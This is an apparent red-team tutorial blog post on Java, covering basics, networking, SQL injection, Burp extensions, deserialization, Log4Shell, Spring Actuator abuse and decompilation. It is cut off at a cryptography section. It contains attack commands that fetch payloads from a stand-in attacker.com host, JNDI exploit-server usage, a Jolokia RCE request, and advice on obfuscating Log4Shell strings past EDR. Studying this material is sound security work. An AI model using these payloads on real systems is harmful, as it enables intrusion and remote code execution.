Skip to main content
  1. Posts/

Java for offensive work: from syntax to deserialization

··6639 words·32 mins·
Table of Contents

Java is the enterprise language that operators run into more often than they’d like. Despite three decades of “Java is dying” predictions, it’s still the foundation under most large enterprise estates: banking systems, government portals, the Atlassian stack, Jenkins, the entire Android application layer, the JVM-language ecosystem (Scala, Kotlin, Clojure, Groovy) that hides Java underneath, and a long tail of legacy Spring and Java EE applications that nobody wants to migrate. On engagement, the question isn’t whether you’ll encounter Java, it’s how much of the target’s attack surface lives in JAR files and WAR files.

The sections below cover enough of the language to read other people’s code, then the offensive applications that matter: networking primitives, web exploitation patterns, writing Burp Suite extensions, the Java deserialization vulnerability class that produced Log4Shell and Spring4Shell, and reverse engineering compiled JAR files. The closing section weighs Java against other languages in 2026.

Java basics
#

If you’ve never written Java but you’ve used a C-family language (Python, JavaScript, Go, C#), most of what follows will feel familiar. Skim or skip the syntax sections if you already know them.

History and overview
#

Java was developed by James Gosling and his team at Sun Microsystems starting in 1991, originally as a language for embedded interactive television systems under the codename “Oak.” It was renamed Java in 1995 and released publicly that year. The “write once, run anywhere” (WORA) philosophy, along with the JVM’s portability across operating systems, made it a popular choice for enterprise applications, web backends, and (later) Android mobile apps.

Sun was acquired by Oracle in 2010, and Java’s licensing has been contentious ever since. The OpenJDK reference implementation is open source under GPL+Classpath; commercial Oracle JDK builds have their own licensing terms. As of 2026, the current LTS releases are Java 17 (2021), Java 21 (2023), and Java 25 (2025), with Java 8 still in widespread enterprise use because legacy applications haven’t been migrated.

Java is an object-oriented language built around “objects” that bundle data and behavior. The approach encourages code reuse and modularity, which is part of why Java code tends to be verbose but readable. The JVM’s bytecode model also makes Java relatively easy to decompile, which is both a blessing and a curse for security analysts and the people whose code they’re analyzing.

Variables and Data Types
#

In Java, variables store data, and they have specific types that dictate what kind of data they can hold. Here are the basic data types in Java:

Primitive Data Types
#

These are the most basic data types and include byte, short, int, long, float, double, char, and boolean.

int myInteger = 42;
float myFloat = 3.14f;
char myCharacter = 'A';
boolean myBoolean = true;

Reference Data Types
#

These include objects, arrays, and interfaces. Reference data types are created using the new keyword.

String myString = "Hello, World!";
int[] myIntArray = new int[5];
ArrayList<String> myList = new ArrayList<>();

Operators
#

Operators are symbols that perform operations on operands, such as addition, subtraction, or comparison. Java has several types of operators:

Arithmetic Operators
#

int sum = 5 + 3; // 8
int difference = 5 - 3; // 2
int product = 5 * 3; // 15
int quotient = 5 / 3; // 1
int remainder = 5 % 3; // 2

Relational Operators
#

boolean lessThan = 5 < 3; // false
boolean greaterThan = 5 > 3; // true
boolean equalTo = 5 == 3; // false
boolean notEqualTo = 5 != 3; // true

Logical Operators
#

boolean andOperator = true && false; // false
boolean orOperator = true || false; // true
boolean notOperator = !true; // false

Assignment Operators
#

int x = 5;
x += 3; // x = 8
x -= 2; // x = 6
x *= 2; // x = 12
x /= 3; // x = 4
x %= 3; // x = 1

Control Structures
#

Control structures determine the flow of your code. They include conditional statements, loops, and jumps.

Conditional Statements
#

int x = 5;

if (x > 10) {
    System.out.println("x is greater than 10");
} else if (x > 5) {
    System.out.println("x is greater than 5");
} else {
    System.out.println("x is less than or equal to 5");
}

Loops
#

// for loop
for (int i = 0; i < 5; i++) {
    System.out.println(i);
}

// while loop
int i = 0;
while (i < 5) {
    System.out.println(i);
    i++;
}

// do-while loop
int j = 0;
do {
    System.out.println(j);
    j++;
} while (j < 5);

Jumps
#

// break
for (int i = 0; i < 10; i++) {
    if (i == 5) {
        break; // Exits the loop
    }
    System.out.println(i);
}

// continue
for (int i = 0; i < 10; i++) {
    if (i % 2 == 0) {
        continue; // Skips the current iteration
    }
    System.out.println(i);
}

// return
public int add(int x, int y) {
    return x + y; // Returns the result and exits the function
}

Functions and Methods
#

Functions are reusable blocks of code that perform specific tasks. In Java, functions are called methods and are always defined within classes. Methods can take input parameters, return values, and have specified access levels.

Method Declaration and Calling
#

public class Calculator {
    // Method to add two integers
    public static int add(int x, int y) {
        return x + y;
    }

    // Method to subtract two integers
    public static int subtract(int x, int y) {
        return x - y;
    }

    // Method with no return value (void)
    public static void printResult(int result) {
        System.out.println("Result: " + result);
    }

    // Method with variable arguments (varargs)
    public static int sum(int... numbers) {
        int total = 0;
        for (int num : numbers) {
            total += num;
        }
        return total;
    }
}

// Using the methods
int sum = Calculator.add(5, 3); // 8
int difference = Calculator.subtract(5, 3); // 2
Calculator.printResult(sum); // Prints: Result: 8
int total = Calculator.sum(1, 2, 3, 4, 5); // 15

Method Overloading
#

Java supports method overloading, allowing multiple methods with the same name but different parameters:

public class MathUtils {
    // Overloaded methods for different data types
    public static int add(int x, int y) {
        return x + y;
    }

    public static double add(double x, double y) {
        return x + y;
    }

    public static String add(String x, String y) {
        return x + y;
    }
}

// Usage
int intSum = MathUtils.add(5, 3); // 8
double doubleSum = MathUtils.add(5.5, 3.2); // 8.7
String stringConcat = MathUtils.add("Hello, ", "World!"); // "Hello, World!"

Classes and Objects
#

Java is built around classes and objects, so understanding them matters for reading any Java codebase.

Class Definition
#

public class Person {
    // Instance variables (fields)
    private String name;
    private int age;

    // Constructor
    public Person(String name, int age) {
        this.name = name;
        this.age = age;
    }

    // Getter methods
    public String getName() {
        return name;
    }

    public int getAge() {
        return age;
    }

    // Setter methods
    public void setName(String name) {
        this.name = name;
    }

    public void setAge(int age) {
        this.age = age;
    }

    // Instance method
    public void introduce() {
        System.out.println("Hi, I'm " + name + " and I'm " + age + " years old.");
    }
}

Object Creation and Usage
#

// Creating objects
Person person1 = new Person("Alice", 30);
Person person2 = new Person("Bob", 25);

// Using object methods
person1.introduce(); // Hi, I'm Alice and I'm 30 years old.
person2.introduce(); // Hi, I'm Bob and I'm 25 years old.

// Using getters and setters
System.out.println(person1.getName()); // Alice
person2.setAge(26);
System.out.println(person2.getAge()); // 26

Inheritance and Polymorphism
#

Java supports inheritance, allowing classes to inherit properties and methods from parent classes.

Inheritance Example
#

// Parent class
public class Animal {
    protected String name;

    public Animal(String name) {
        this.name = name;
    }

    public void eat() {
        System.out.println(name + " is eating.");
    }

    public void sleep() {
        System.out.println(name + " is sleeping.");
    }
}

// Child class inheriting from Animal
public class Dog extends Animal {
    public Dog(String name) {
        super(name); // Call parent constructor
    }

    // Override parent method
    @Override
    public void eat() {
        System.out.println(name + " is eating dog food.");
    }

    // New method specific to Dog
    public void bark() {
        System.out.println(name + " says: Woof!");
    }
}

// Usage
Dog myDog = new Dog("Buddy");
myDog.eat();   // Buddy is eating dog food.
myDog.sleep(); // Buddy is sleeping.
myDog.bark();  // Buddy says: Woof!

Exception Handling
#

Java has a structured exception handling system for managing runtime errors.

Try-Catch Blocks
#

public class ExceptionExample {
    public static void main(String[] args) {
        try {
            int result = divide(10, 0);
            System.out.println("Result: " + result);
        } catch (ArithmeticException e) {
            System.out.println("Error: Division by zero - " + e.getMessage());
        } catch (Exception e) {
            System.out.println("Unexpected error: " + e.getMessage());
        } finally {
            System.out.println("This always executes.");
        }
    }

    public static int divide(int x, int y) throws ArithmeticException {
        if (y == 0) {
            throw new ArithmeticException("Division by zero");
        }
        return x / y;
    }
}

Collections Framework
#

Java provides a rich set of collection classes for storing and manipulating groups of objects.

ArrayList Example
#

import java.util.ArrayList;
import java.util.Iterator;

public class CollectionsExample {
    public static void main(String[] args) {
        // Create an ArrayList
        ArrayList<String> fruits = new ArrayList<>();

        // Add elements
        fruits.add("Apple");
        fruits.add("Banana");
        fruits.add("Orange");

        // Access elements
        System.out.println("First fruit: " + fruits.get(0)); // Apple

        // Iterate through the list
        System.out.println("All fruits:");
        for (String fruit : fruits) {
            System.out.println(fruit);
        }

        // Using Iterator
        Iterator<String> iterator = fruits.iterator();
        while (iterator.hasNext()) {
            String fruit = iterator.next();
            if (fruit.equals("Banana")) {
                iterator.remove(); // Safe removal during iteration
            }
        }

        System.out.println("Fruits after removing Banana: " + fruits);
    }
}

File I/O Operations
#

The standard library covers file input/output across both the older java.io package and the newer NIO (java.nio.file) API.

Reading and Writing Files
#

import java.io.*;
import java.nio.file.*;

public class FileOperations {
    public static void main(String[] args) {
        String filename = "example.txt";

        // Writing to a file
        try (BufferedWriter writer = new BufferedWriter(new FileWriter(filename))) {
            writer.write("Hello, World!\n");
            writer.write("This is a test file.\n");
        } catch (IOException e) {
            System.err.println("Error writing to file: " + e.getMessage());
        }

        // Reading from a file
        try (BufferedReader reader = new BufferedReader(new FileReader(filename))) {
            String line;
            while ((line = reader.readLine()) != null) {
                System.out.println(line);
            }
        } catch (IOException e) {
            System.err.println("Error reading from file: " + e.getMessage());
        }

        // Using NIO for file operations
        Path path = Paths.get(filename);
        try {
            String content = Files.readString(path);
            System.out.println("File content via NIO: " + content);
        } catch (IOException e) {
            System.err.println("Error reading file with NIO: " + e.getMessage());
        }
    }
}

Java for pen testing and red teaming
#

Java’s combination of library coverage, JVM portability, and active community makes it a serviceable language for offensive work, particularly anywhere the target itself runs on the JVM. Operators reach for Java most often for three things: writing custom networking tools, building Burp Suite extensions to extend a web testing workflow, and exploiting Java-specific vulnerability classes (deserialization, JNDI injection). Several sub-sections below walk each.

Networking
#

Java’s built-in networking libraries, like java.net, make it easy to develop tools for network scanning, port scanning, and packet manipulation. Here’s an example of a basic TCP port scanner:

import java.io.IOException;
import java.net.Socket;
import java.net.InetSocketAddress;

// Security Note: This is a basic port scanner for authorized testing only.
// Always obtain explicit permission before scanning any network.
public class PortScanner {
    public static void main(String[] args) {
        // Validate input parameters
        if (args.length != 3) {
            System.out.println("Usage: java PortScanner <target> <startPort> <endPort>");
            return;
        }

        String target = args[0];
        int startPort, endPort;

        try {
            startPort = Integer.parseInt(args[1]);
            endPort = Integer.parseInt(args[2]);
        } catch (NumberFormatException e) {
            System.out.println("Error: Ports must be valid integers.");
            return;
        }

        // Input validation
        if (startPort < 1 || endPort > 65535 || startPort > endPort) {
            System.out.println("Error: Invalid port range.");
            return;
        }

        System.out.println("Scanning ports " + startPort + " to " + endPort + " on " + target);

        for (int port = startPort; port <= endPort; port++) {
            try {
                Socket socket = new Socket();
                socket.connect(new InetSocketAddress(target, port), 1000); // 1 second timeout
                socket.close();
                System.out.println("Port " + port + " is open");
            } catch (IOException e) {
                // Port is closed, filtered, or unreachable - silently continue
            }
        }
    }
}

Java web exploits
#

Java is also useful for writing custom tools against web targets. The examples below cover SQL injection testing, prepared statements as the defensive baseline, and HTTP client patterns for vulnerability reconnaissance. These are skeleton examples meant to illustrate the API surface; for real engagements, Burp Suite Pro and tools like sqlmap and ffuf are usually faster than writing from scratch.

SQL injection testing
#

import java.sql.*;

// Security Note: This demonstrates SQL injection for educational purposes only.
// Never use this code maliciously or without explicit authorization.
// Always use prepared statements in production code to prevent SQL injection.
public class SQLInjectionTester {
    public static void main(String[] args) {
        // WARNING: This code is intentionally vulnerable for demonstration
        String url = "jdbc:mysql://localhost:3306/testdb";
        String username = "testuser";
        String password = "testpass";

        // Dangerous: Direct string concatenation (vulnerable to SQL injection)
        String userInput = "' OR '1'='1"; // Malicious input
        String query = "SELECT * FROM users WHERE username = '" + userInput + "'";

        try {
            Connection conn = DriverManager.getConnection(url, username, password);
            Statement stmt = conn.createStatement();
            ResultSet rs = stmt.executeQuery(query);

            while (rs.next()) {
                System.out.println("User: " + rs.getString("username") +
                                 ", Password: " + rs.getString("password"));
            }

            rs.close();
            stmt.close();
            conn.close();
        } catch (SQLException e) {
            System.err.println("Database error: " + e.getMessage());
        }
    }
}

Secure SQL Query Using Prepared Statements
#

import java.sql.*;

// Security Note: This shows the correct way to prevent SQL injection.
// Always use prepared statements with parameterized queries.
public class SecureSQLExample {
    public static void main(String[] args) {
        String url = "jdbc:mysql://localhost:3306/testdb";
        String username = "testuser";
        String password = "testpass";

        // Safe: Using prepared statements prevents SQL injection
        String userInput = "admin' OR '1'='1"; // Even malicious input is safe
        String query = "SELECT * FROM users WHERE username = ?";

        try {
            Connection conn = DriverManager.getConnection(url, username, password);
            PreparedStatement pstmt = conn.prepareStatement(query);
            pstmt.setString(1, userInput); // Parameter binding prevents injection

            ResultSet rs = pstmt.executeQuery();

            while (rs.next()) {
                System.out.println("User: " + rs.getString("username"));
                // Note: Password should never be printed in real applications
            }

            rs.close();
            pstmt.close();
            conn.close();
        } catch (SQLException e) {
            System.err.println("Database error: " + e.getMessage());
        }
    }
}

HTTP Client for Web Vulnerability Testing
#

import java.io.*;
import java.net.*;

// Security Note: This is a basic HTTP client for authorized web application testing.
// Always obtain permission before testing any web application.
// Respect robots.txt and terms of service.
public class WebVulnerabilityScanner {
    public static void main(String[] args) {
        if (args.length != 2) {
            System.out.println("Usage: java WebVulnerabilityScanner <url> <payload>");
            return;
        }

        String targetUrl = args[0];
        String payload = args[1];

        try {
            URL url = new URL(targetUrl + "?input=" + URLEncoder.encode(payload, "UTF-8"));
            HttpURLConnection conn = (HttpURLConnection) url.openConnection();
            conn.setRequestMethod("GET");
            conn.setConnectTimeout(5000);
            conn.setReadTimeout(5000);

            int responseCode = conn.getResponseCode();
            System.out.println("Response Code: " + responseCode);

            BufferedReader reader = new BufferedReader(
                new InputStreamReader(conn.getInputStream()));
            String line;
            StringBuilder response = new StringBuilder();

            while ((line = reader.readLine()) != null) {
                response.append(line);
            }
            reader.close();

            // Analyze response for potential vulnerabilities
            if (response.toString().contains("SQL syntax") ||
                response.toString().contains("mysql_error")) {
                System.out.println("Potential SQL injection vulnerability detected!");
            }

            conn.disconnect();

        } catch (MalformedURLException e) {
            System.err.println("Invalid URL: " + e.getMessage());
        } catch (IOException e) {
            System.err.println("Connection error: " + e.getMessage());
        }
    }
}

Extending Burp Suite with Java extensions
#

PortSwigger’s Burp Suite is the standard intercepting proxy for web application testing. Since Burp is written in Java, the extension API is Java-native. The current API is Montoya, introduced in Burp 2022.7; the older Burp Extender API is deprecated and isn’t supported for new extensions as of 2026. The Montoya API is Java-only, so the Jython and JRuby paths that worked with the older API no longer apply.

A Simple “Highlighter” Extension
#

This extension highlights any HTTP response containing the word “password.”

import burp.api.montoya.BurpExtension;
import burp.api.montoya.MontoyaApi;
import burp.api.montoya.http.handler.*;
import burp.api.montoya.core.HighlightColor;

public class PasswordHighlighter implements BurpExtension, HttpHandler {
    private MontoyaApi api;

    @Override
    public void initialize(MontoyaApi api) {
        this.api = api;
        api.extension().setName("Password Highlighter");
        api.http().registerHttpHandler(this);
    }

    @Override
    public RequestToBeSentAction handleRequestToBeSent(HttpRequestToBeSent request) {
        return RequestToBeSentAction.continueWith(request);
    }

    @Override
    public ResponseReceivedAction handleResponseReceived(HttpResponseReceived response) {
        if (response.bodyToString().toLowerCase().contains("password")) {
            // Highlight the request in Proxy history
            return ResponseReceivedAction.continueWith(
                response,
                response.annotations().withHighlightColor(HighlightColor.RED)
            );
        }
        return ResponseReceivedAction.continueWith(response);
    }
}

Compile this into a JAR and load it in Burp’s Extensions tab. The Montoya API gives extensions access to almost everything Burp can do internally, which lets operators automate custom attack patterns that standard tooling doesn’t cover.

Java deserialization exploitation
#

Java deserialization is the vulnerability class that has produced more high-impact CVEs than almost any other in the JVM ecosystem. The mechanism: applications that call ObjectInputStream.readObject() on untrusted data trigger arbitrary object instantiation and method execution. Because Java’s serialization mechanism reconstructs objects by calling constructors and invoking methods like readObject() and readResolve(), an attacker who can supply the serialized byte stream can chain together calls to existing methods in the application’s classpath to achieve remote code execution.

Understanding Java Serialization
#

import java.io.*;

// Security Note: Serialization can be dangerous if used with untrusted data.
// Never deserialize data from untrusted sources.
public class SerializationExample {
    public static void main(String[] args) {
        // Create a serializable object
        Person person = new Person("Alice", 30);

        // Serialize the object
        try (ObjectOutputStream out = new ObjectOutputStream(
                new FileOutputStream("person.ser"))) {
            out.writeObject(person);
            System.out.println("Object serialized successfully");
        } catch (IOException e) {
            e.printStackTrace();
        }

        // Deserialize the object
        try (ObjectInputStream in = new ObjectInputStream(
                new FileInputStream("person.ser"))) {
            Person deserializedPerson = (Person) in.readObject();
            System.out.println("Deserialized: " + deserializedPerson.getName());
        } catch (IOException | ClassNotFoundException e) {
            e.printStackTrace();
        }
    }
}

class Person implements Serializable {
    private String name;
    private int age;

    public Person(String name, int age) {
        this.name = name;
        this.age = age;
    }

    public String getName() { return name; }
    public int getAge() { return age; }
}

Gadget chains and exploitation
#

Deserialization vulnerabilities exploit “gadget chains,” sequences of method calls in existing classpath libraries that chain together to reach a useful primitive like Runtime.exec() or ProcessBuilder.start(). ysoserial (Chris Frohoff) is the canonical tool for generating these payloads; the pimps/ysoserial-modified fork adds additional gadget chains targeting libraries that the original doesn’t cover. The two coexist in operator toolkits in 2026.

#!/bin/bash
# Security Note: This demonstrates deserialization exploitation for educational purposes.
# Only use ysoserial on systems you own or have explicit permission to test.
# Never deploy this in production environments.

# Generate a payload using CommonsCollections gadget chain
java -jar ysoserial.jar CommonsCollections5 \
  "wget http://attacker.com/malicious.jar -O /tmp/malicious.jar && java -jar /tmp/malicious.jar" \
  > payload.ser

# In a real exploitation scenario, this payload would be sent to a vulnerable endpoint
echo "Payload generated. Send payload.ser to vulnerable application endpoint."

JNDI injection and Log4Shell
#

The most consequential Java vulnerability of the last decade was Log4Shell (CVE-2021-44228), disclosed December 9, 2021. The vulnerability lived in the Apache Log4j 2 logging library and exploited the Java Naming and Directory Interface (JNDI). Log4j’s minimum safe baseline is 2.17.1 for Java 8 and later; the current stable line in 2026 is 2.25.4.

The closely-related Spring4Shell (CVE-2022-22965, disclosed March 31, 2022) was a different vulnerability in the Spring Framework that allowed RCE via classloader manipulation through Spring Web data binding on Java 9 and later. Together, Log4Shell and Spring4Shell defined the 2021-2022 disclosure cycle for the JVM ecosystem.

The mechanism
#

JNDI lets Java applications look up data and resources by name. It supports several backend protocols, including LDAP, RMI, and DNS. If an attacker can control the name passed to lookup(), they can point JNDI at an attacker-controlled server.

// Vulnerable code pattern
logger.info("User input: " + userInput);

If userInput is ${jndi:ldap://attacker.com/exploit}, Log4j evaluates it:

  1. Log4j sees ${jndi:...} and parses it.
  2. It calls JNDI lookup("ldap://attacker.com/exploit").
  3. The LDAP server returns a reference to a Java class file (for example Exploit.class).
  4. The victim JVM downloads and executes the bytecode of that class.

Creating a JNDI exploit server
#

Operators host malicious LDAP servers using JNDI-Exploit-Kit , rogue-jndi (Veracode), or marshalsec (Moritz Bechler, the original JNDI-injection research tool).

# Using JNDI-Exploit-Kit
java -jar JNDI-Exploit-Kit.jar -I attacker_ip -C "touch /tmp/pwned"

This starts an LDAP server. When the vulnerable victim performs a JNDI lookup against it, the server returns a reference to a Java class, and the victim JVM downloads and executes the class bytecode. In 2026, Defender, CrowdStrike, and most enterprise EDRs detect the canonical Log4Shell strings on sight, so any modern operator use of the technique requires obfuscation of the JNDI URL (Base64 encoding via Log4j’s ${base64:...} lookup, nested ${lower:} and ${upper:} substitutions). The vulnerability class is still landing against unpatched older systems, especially in industrial and operational technology environments where Log4j updates have been slow.

Java reverse engineering, decompilation, and deobfuscation
#

Java applications compile to bytecode rather than native machine code, which makes them straightforward to reverse engineer compared to C/C++ binaries. The bytecode preserves most of the original structure (class names, method names, signatures), so a competent decompiler can usually recover something close to the original source.

Real-world analysis goes further than basic decompilation, though. Commercial obfuscators (ProGuard, R8, the various paid options) rename classes, methods, and variables to meaningless single-character names, inline constants, and sometimes apply control-flow flattening. The decompilation tools below handle the basics, but heavily obfuscated code typically requires manual reverse engineering on top.

Modern decompilers
#

In 2026, the two actively maintained decompilers worth using are:

  • CFR (Class File Reader) by Lee Benfield, the modern standard for Java decompilation. Handles current Java features including lambdas, records, and pattern matching. Single-jar command-line tool.
  • JADX by skylot, originally designed for Android APK reverse engineering but also handles regular JAR files. Has a GUI as well as CLI mode, integrates well with Frida and Ghidra workflows for Android analysis.

The older tools (JD-GUI, Procyon) are essentially unmaintained. The jd-gui-duo fork keeps JD-GUI alive for users who prefer that interface. For Android specifically, JADX is the standard, often paired with Frida for runtime instrumentation and analysis.

Decompilation with CFR
#

The basic invocations for a single class file or a full JAR:

# Download CFR
wget https://www.benf.org/other/cfr/cfr-0.152.jar

# Decompile a single class file
java -jar cfr-0.152.jar MyClass.class

# Decompile an entire JAR file to source
java -jar cfr-0.152.jar malicious.jar --outputdir decompiled/

The flags worth knowing for harder targets on an engagement:

# Decompile an entire JAR with line numbers, recovered string concatenation,
# and aggressive de-sugaring of synthetic methods
java -jar cfr-0.152.jar target.jar \
    --outputdir decompiled/ \
    --recoverytypeclash true \
    --stringbuilder true \
    --lambdas true

# Decompile only specific classes
java -jar cfr-0.152.jar target.jar com.example.SuspiciousClass \
    --outputdir decompiled/

Analyzing obfuscated code with reflection
#

When the decompiler output is heavily obfuscated, reflection from inside a sandbox can complement static analysis by showing what the classes look like at runtime:

import java.lang.reflect.*;

// Security Note: Reflection can bypass access controls.
// Only use for authorized security analysis.
public class ObfuscationAnalyzer {
    public static void main(String[] args) {
        try {
            // Load a potentially obfuscated class
            Class<?> obfuscatedClass = Class.forName("com.example.ObfuscatedClass");

            // Analyze methods using reflection
            Method[] methods = obfuscatedClass.getDeclaredMethods();
            for (Method method : methods) {
                System.out.println("Method: " + method.getName());
                System.out.println("  Return type: " + method.getReturnType().getName());
                System.out.println("  Parameter count: " + method.getParameterCount());

                // Check for obfuscated method names (often single characters or random strings)
                if (method.getName().length() <= 2 ||
                    method.getName().matches("^[a-zA-Z]{1,2}\\d*$")) {
                    System.out.println("  WARNING: Potentially obfuscated method name");
                }
            }

        } catch (ClassNotFoundException e) {
            System.err.println("Class not found: " + e.getMessage());
        }
    }
}

Analyzing Java Bytecode
#

import java.lang.reflect.Method;

// Security Note: This demonstrates runtime analysis techniques.
// Use for authorized security research only.
public class BytecodeAnalyzer {
    public static void main(String[] args) {
        try {
            Class<?> clazz = Class.forName("java.lang.String");
            Method[] methods = clazz.getDeclaredMethods();

            System.out.println("Methods in String class:");
            for (Method method : methods) {
                System.out.println(method.getName() + " - " +
                                 method.getReturnType().getSimpleName());
            }

        } catch (ClassNotFoundException e) {
            e.printStackTrace();
        }
    }
}

Java in cloud security and containerization
#

Modern Java applications run in containers, on Kubernetes, and in serverless environments more often than they run on traditional VMs. That shift creates its own attack surface: misconfigured containers, exposed Docker sockets, IAM roles with too many permissions, secrets baked into images. The examples below illustrate how Java code can be used to interact with these environments for security analysis.

Docker Container Security Analysis
#

import java.io.*;
import java.net.*;
import java.util.*;

// Security Note: This tool analyzes Docker containers for security issues.
// Only run on containers you own or have permission to analyze.
public class DockerSecurityAnalyzer {
    public static void main(String[] args) {
        if (args.length != 1) {
            System.out.println("Usage: java DockerSecurityAnalyzer <container-id>");
            return;
        }

        String containerId = args[0];

        try {
            // Analyze running processes in container
            Process process = Runtime.getRuntime().exec(
                "docker exec " + containerId + " ps aux");

            BufferedReader reader = new BufferedReader(
                new InputStreamReader(process.getInputStream()));

            String line;
            System.out.println("Processes running in container " + containerId + ":");
            while ((line = reader.readLine()) != null) {
                System.out.println(line);

                // Check for potentially vulnerable processes
                if (line.contains("java") && line.contains("-Xdebug")) {
                    System.out.println("WARNING: Java application running in debug mode!");
                }
            }

            // Analyze exposed ports
            Process portProcess = Runtime.getRuntime().exec(
                "docker port " + containerId);

            BufferedReader portReader = new BufferedReader(
                new InputStreamReader(portProcess.getInputStream()));

            System.out.println("\nExposed ports:");
            while ((line = portReader.readLine()) != null) {
                System.out.println(line);
            }

        } catch (IOException e) {
            System.err.println("Error analyzing container: " + e.getMessage());
        }
    }
}

AWS Lambda Security Assessment
#

import com.amazonaws.services.lambda.*;
import com.amazonaws.services.lambda.model.*;
import java.util.*;

// Security Note: This demonstrates AWS Lambda security analysis.
// Requires appropriate AWS credentials and permissions.
// Only analyze resources you own or have explicit permission to assess.
public class LambdaSecurityAnalyzer {
    public static void main(String[] args) {
        AWSLambda lambda = AWSLambdaClientBuilder.defaultClient();

        try {
            // List all Lambda functions
            ListFunctionsRequest request = new ListFunctionsRequest();
            ListFunctionsResult result = lambda.listFunctions(request);

            System.out.println("Lambda Functions Security Analysis:");
            for (FunctionConfiguration function : result.getFunctions()) {
                System.out.println("\nFunction: " + function.getFunctionName());
                System.out.println("Runtime: " + function.getRuntime());
                System.out.println("Memory: " + function.getMemorySize() + " MB");

                // Check for security issues
                if (function.getMemorySize() > 3008) {
                    System.out.println("WARNING: High memory allocation may indicate complex logic");
                }

                if (function.getTimeout() > 900) {
                    System.out.println("WARNING: Long timeout may be exploited for DoS");
                }

                // Analyze environment variables (redacted for security)
                if (function.getEnvironment() != null &&
                    !function.getEnvironment().getVariables().isEmpty()) {
                    System.out.println("Environment variables present - verify they don't contain secrets");
                }
            }

        } catch (Exception e) {
            System.err.println("Error analyzing Lambda functions: " + e.getMessage());
        }
    }
}

Targeting modern frameworks: Spring Boot Actuators
#

Spring Boot remains the dominant Java application framework in 2026. It includes a feature called “Actuators,” a set of HTTP endpoints that expose runtime information about the application: configuration, metrics, environment variables, JVM internals. When these endpoints are exposed without authentication (which happens far more often than it should), they’re a high-value target for an operator who’s already reached a Spring Boot application’s network surface.

Common endpoints worth checking:

  • /actuator/env dumps environment variables, which often contains AWS access keys, database passwords, API tokens, and similar.
  • /actuator/heapdump dumps the entire JVM heap to a file. Analyzing the heap dump with Eclipse Memory Analyzer Tool (MAT) often turns up session IDs, in-memory credentials, decrypted secrets, and connection strings.
  • /actuator/jolokia exposes JMX (Java Management Extensions) over HTTP. JMX is powerful enough that an exposed Jolokia endpoint is effectively RCE on the host through several known abuse paths, including the logback reload trick and createJNDIRealm exploitation.

Exploiting Jolokia for RCE: if the Jolokia endpoint is reachable and exposes the logback JMXConfigurator MBean, an attacker can force the application to reload its logging configuration from a remote URL. A malicious logback.xml then executes arbitrary code in the JVM context.

  1. Host a malicious logback.xml on attacker-controlled infrastructure.

  2. Send a request to Jolokia that triggers reloadByURL:

    GET /actuator/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/attacker.com!/logback.xml

The Atlassian product line (Confluence, Jira, Bitbucket) is Spring Boot underneath, and several recent high-impact CVEs (CVE-2023-22515, CVE-2023-22518, CVE-2024-21683) trace back to Spring-related vulnerabilities or to the broader pattern of exposed administrative surfaces in Spring-based applications.

Java in IoT and embedded security
#

Java’s platform independence has historically made it a fit for IoT devices and embedded systems, and Java ME (Micro Edition) was widely deployed on early-2000s feature phones and embedded platforms. In 2026, Java’s IoT role has narrowed somewhat (most modern IoT devices run Linux with Python or C/Rust, or embedded RTOSes), but Java ME is still in production on industrial controllers, payment terminals, set-top boxes, and a long tail of legacy embedded systems. The security implications carry through: Java-based firmware often hasn’t been updated in years, and the vulnerabilities are exactly the JVM-era classes covered above.

IoT Device Firmware Analysis
#

import java.io.*;
import java.security.*;
import java.util.jar.*;

// Security Note: This analyzes JAR files that might be used in IoT devices.
// Only analyze firmware you own or have permission to assess.
public class IoTFirmwareAnalyzer {
    public static void main(String[] args) {
        if (args.length != 1) {
            System.out.println("Usage: java IoTFirmwareAnalyzer <jar-file>");
            return;
        }

        String jarFile = args[0];

        try (JarFile jar = new JarFile(jarFile)) {
            System.out.println("Analyzing IoT firmware: " + jarFile);

            // Check for manifest
            Manifest manifest = jar.getManifest();
            if (manifest != null) {
                System.out.println("Manifest found - checking security attributes...");

                // Check for security-related attributes
                Attributes mainAttrs = manifest.getMainAttributes();
                if (mainAttrs.getValue("Permissions") == null) {
                    System.out.println("WARNING: No permissions specified in manifest");
                }
            }

            // Analyze classes for potential security issues
            Enumeration<JarEntry> entries = jar.entries();
            while (entries.hasMoreElements()) {
                JarEntry entry = entries.nextElement();
                if (entry.getName().endsWith(".class")) {
                    System.out.println("Class file: " + entry.getName());
                }

                // Check for potentially dangerous libraries
                if (entry.getName().contains("rmi") ||
                    entry.getName().contains("serialization")) {
                    System.out.println("WARNING: Potentially vulnerable library: " + entry.getName());
                }
            }

        } catch (IOException e) {
            System.err.println("Error analyzing JAR file: " + e.getMessage());
        }
    }
}

Advanced Java Exploitation Techniques
#

Java RMI Exploitation
#

Java Remote Method Invocation (RMI) can be exploited if not secured.

import java.rmi.*;

// Security Note: This demonstrates RMI exploitation concepts.
// RMI services should never be exposed to untrusted networks.
public class RMIExploitDemo {
    public static void main(String[] args) {
        try {
            // Attempt to connect to an RMI registry
            Registry registry = LocateRegistry.getRegistry("target-host", 1099);

            // List available services (reconnaissance)
            String[] services = registry.list();
            for (String service : services) {
                System.out.println("Service: " + service);
            }

            // Attempt to lookup and invoke remote methods
            // This could be dangerous if the remote object is malicious
            Remote remoteObj = registry.lookup("vulnerable-service");

        } catch (RemoteException | NotBoundException e) {
            System.err.println("RMI connection failed: " + e.getMessage());
        }
    }
}

Java applet exploitation (legacy)
#

Java applets are deprecated and effectively gone from modern browsers (Chrome dropped NPAPI in 2015, Firefox in 2017, and the Java browser plugin was removed from the JDK in Java 11). Knowing how the historical applet vulnerabilities worked still matters when assessing legacy systems that haven’t migrated off applet-based deployments, including some kiosk software, older industrial HMI panels, and ancient web-based admin interfaces on enterprise gear.

// Security Note: Java applets are deprecated and should not be used.
// This is for educational purposes only to understand historical vulnerabilities.
import java.applet.Applet;
import java.awt.Graphics;

public class MaliciousApplet extends Applet {
    public void paint(Graphics g) {
        // In vulnerable environments, applets could execute arbitrary code
        // Modern browsers block unsigned applets for security
        g.drawString("This demonstrates historical applet risks", 20, 20);

        // Potential security issues:
        // - Unsigned applets could access local files
        // - Could make network connections to arbitrary hosts
        // - Could execute system commands
    }
}

Java cryptography for red team operations
#

Java’s cryptographic APIs (the java.security and javax.crypto packages, plus the BouncyCastle third-party library that fills in gaps) are useful both for implementing secure operator-side communications and for analyzing the cryptographic primitives a target application uses. The example below shows the core pattern for symmetric encryption with AES.

import javax.crypto.*;
import javax.crypto.spec.*;
import java.security.*;
import java.util.Base64;

